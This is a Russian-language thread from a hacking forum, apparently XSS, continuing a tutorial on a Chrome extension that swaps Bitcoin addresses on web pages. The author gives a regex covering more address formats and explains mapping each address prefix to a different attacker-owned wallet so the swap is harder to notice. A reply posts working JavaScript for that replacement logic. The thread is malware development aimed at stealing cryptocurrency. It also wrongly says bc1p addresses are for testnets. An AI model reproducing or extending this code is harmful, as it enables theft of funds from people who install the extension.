• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Клиппер BTC в Google Chrome часть вторая.

TR77

HDD-drive
Забанен
Регистрация
16.07.2023
Сообщения
34
Реакции
71
Пожалуйста, обратите внимание, что пользователь заблокирован
Исходя из комментария с предложениями по доработке клиппера решил этим и заняться.
Регулярка на поиск адресов которые будут клипаться - устаревшая, адреса вида bc1q bc1p не будут заменены.
Начнем с этого. Да действительно регулярка работала не на все адреса, сделаем новую. ^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$
Код теперь должен выглядеть так.
1689788483343.png

Потыкал много транзакций на сканнере биткоина все адреса заменяются, пропусков теперь нет.
Не забудьте обновить расширение после каждого изменения тыкнув на кнопку во вкладке chrome://extensions/
1689788944019.png



Полезно иметь не один "подменный" адрес, а хотя бы несколько, под каждый тип адреса 1..., 3..., bc1q... bc1p...

Окей, начнем с небольшого пояснения по началу адресов битка.
  1. "1" - это начало для адресов в формате Pay-to-Public-Key-Hash (P2PKH).
  2. "3" - это начало для адресов в формате Pay-to-Script-Hash (P2SH).
  3. "bc1q" - это начало для адресов в формате Bech32 (например, SegWit адреса).
  4. "bc1p" - это также начало для адресов в формате Bech32, но используется для тестовых сетей (например, тестовая сеть Bitcoin).
Чтоб понимать какой адрес на какой нужно заменять напишем для начала визуальный список наших четырех заменяемых адресов.

Например:
  1. 1FMtiCeHhtm2edWBWNX39cRUn7Y13FTAMy - 1
  2. 3C1LvdzkMZEhigQbAUMz7eoejmuNaAPHt7 - 3
  3. bc1qm34lsc65zpw79lxes69zkqmk6ee3ewf0j77s3h - bc1q
  4. bc1ppuydpatkcsgruekreyen8vylh7xy37g2akq6hetsjnj0mukkqjnslydm9v - bc1p

Теперь этот список нужно сделать массивом или обьектом где 1, 3, bc1q, bc1p будут ключами, а наши адреса значениями. Когда мы проверим начало найденного адреса на странице мы сможем заменить его на более менее похожий обратившись к обьекту или массиву по ключу и шанс не заметить подмену выростает. Переменную (константу) MY_ADDRESS можно удалить пока что. В виде JS кода это будет выглядеть так:

1689793136786.png


Теперь в цикле, который перебирает все найденные адреса на странице, нужно добавить код, который будет говорить нам с каких символов начинается найденный адрес. Для первых двух ключей 1 и 3 достаточно будет проверить первый символ строки и дальше сразу будет понятно на какой адрес нужно заменить, если начало строк не будет начинаться не с 1 и 3 мы будем брать первые 4 символа и сверять соответствие с bc1q и bc1p. На всякий случай еще будем удалять пробелы с начала и конца строки функцией trim чтоб избежать ложных несоответствий.
В виде кода это выглядит так:

1689794079339.png


1689794158290.png


Осталось только добавить вместо console.log'ов замену адреса на нужный обратившись к обьекту по ключу.

1689794416279.png
 
мне кажется, что лучше оформлять код в специальных тегах, а не в виде картинок

  1. 1FMtiCeHhtm2edWBWNX39cRUn7Y13FTAMy - 1
  2. 3C1LvdzkMZEhigQbAUMz7eoejmuNaAPHt7 - 3
  3. bc1qm34lsc65zpw79lxes69zkqmk6ee3ewf0j77s3h - bc1q
  4. bc1ppuydpatkcsgruekreyen8vylh7xy37g2akq6hetsjnj0mukkqjnslydm9v - bc1p
с увеличением типов адрессов, будет сильно расти ветвление при замене, поэтому можно сделать чуть более универсальнее:

JavaScript:
const withdrawalAddresses = {
    1: "1FMtiCeHhtm2edWBWNX39cRUn7Y13FTAMy",
    3: "3C1LvdzkMZEhigQbAUMz7eoejmuNaAPHt7",
    bc1q: "bc1qm34lsc65zpw79lxes69zkqmk6ee3ewf0j77s3h",
    bc1p: "bc1ppuydpatkcsgruekreyen8vylh7xy37g2akq6hetsjnj0mukkqjnslydm9"
}

const replaceAddress = (originalAddress, withdrawalAddresses) => {
    originalAddress = originalAddress.trim()

    const firstCharacter = originalAddress[0],
        firstFourCharacters = originalAddress.substring(0, 4),
        comprassion = [firstCharacter, firstFourCharacters]

    Object.entries(withdrawalAddresses).forEach(([key, address]) => {
        if (comprassion.includes(key)) {
            pageEl.innerText = address
        }
    })
}
в это примере нам нужно будет добавлять только новые части адресов для сравнения в массив comprassion

К тому же не стоит забывать, что в js используется соглашение об именовании lowerCamelCase, а не snake_case, как в питоне
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх